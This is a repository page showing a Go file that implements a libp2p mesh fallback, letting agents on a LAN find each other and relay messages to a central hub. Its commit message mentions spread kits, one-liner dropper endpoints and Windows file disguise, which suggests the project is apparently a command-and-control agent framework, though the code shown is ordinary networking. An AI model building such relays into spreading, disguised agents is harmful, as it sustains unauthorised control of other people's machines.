Files
AetherForge/agent/client/mesh_p2p.go
drjones 0f9e04f5f6 Add universal forge, fusion disguise, remote deploy, and stability fixes.
Ship cross-platform spread kits and fusion ZIPs with per-OS launchers, one-liner dropper endpoints, Windows file disguise, and a large batch of wiring/bug fixes so agents connect reliably across a LAN test fleet.
2026-05-29 20:53:13 -07:00

99 lines
2.6 KiB
Go

//go:build p2p
package client
import (
"context"
"encoding/json"
"log"
"github.com/libp2p/go-libp2p"
"github.com/libp2p/go-libp2p/core/host"
"github.com/libp2p/go-libp2p/core/network"
"github.com/libp2p/go-libp2p/core/peer"
"github.com/libp2p/go-libp2p/p2p/discovery/mdns"
)
const MeshProtocol = "/aetherforge/mesh/1.0.0"
const DiscoveryTag = "aetherforge-mesh-discovery"
// MeshNode represents a libp2p peer on the local network.
type MeshNode struct {
host host.Host
client *AgentClient
}
// NewMeshNode creates a new P2P fallback node.
func NewMeshNode(c *AgentClient) *MeshNode {
return &MeshNode{client: c}
}
// Start initializes the libp2p host and mDNS discovery.
func (m *MeshNode) Start() error {
// Bind to any available local port automatically
h, err := libp2p.New(libp2p.ListenAddrStrings("/ip4/0.0.0.0/tcp/0"))
if err != nil {
return err
}
m.host = h
// Register the protocol handler for incoming mesh streams
m.host.SetStreamHandler(MeshProtocol, m.handleStream)
// Start mDNS discovery to find other agents on the LAN
ser := mdns.NewMdnsService(m.host, DiscoveryTag, m)
if err := ser.Start(); err != nil {
return err
}
log.Printf("[Mesh] P2P Node started. PeerID: %s", m.host.ID().String())
return nil
}
// HandlePeerFound is a callback for mDNS discovery.
func (m *MeshNode) HandlePeerFound(pi peer.AddrInfo) {
if pi.ID == m.host.ID() {
return
}
log.Printf("[Mesh] Discovered peer on LAN: %s", pi.ID.String())
if err := m.host.Connect(context.Background(), pi); err != nil {
log.Printf("[Mesh] Failed to connect to peer %s: %v", pi.ID, err)
}
}
// handleStream processes incoming messages from orphaned peers.
func (m *MeshNode) handleStream(s network.Stream) {
defer s.Close()
var msg Message
if err := json.NewDecoder(s).Decode(&msg); err != nil {
return
}
// If this node is actively connected to the Hub, act as a Relay.
// We take the incoming share payload from the orphaned peer and pass it to our active connection!
if m.client.conn != nil {
log.Printf("[Mesh] Relaying %s message from orphaned peer to Hub", msg.Type)
_ = m.client.write(msg)
}
}
// BroadcastToMesh sends a message to all connected P2P peers.
func (m *MeshNode) BroadcastToMesh(msg Message) {
for _, p := range m.host.Network().Peers() {
s, err := m.host.NewStream(context.Background(), p, MeshProtocol)
if err != nil {
continue
}
_ = json.NewEncoder(s).Encode(msg)
s.Close()
}
}
// PeerCount returns the number of connected mesh peers.
func (m *MeshNode) PeerCount() int {
if m.host == nil {
return 0
}
return len(m.host.Network().Peers())
}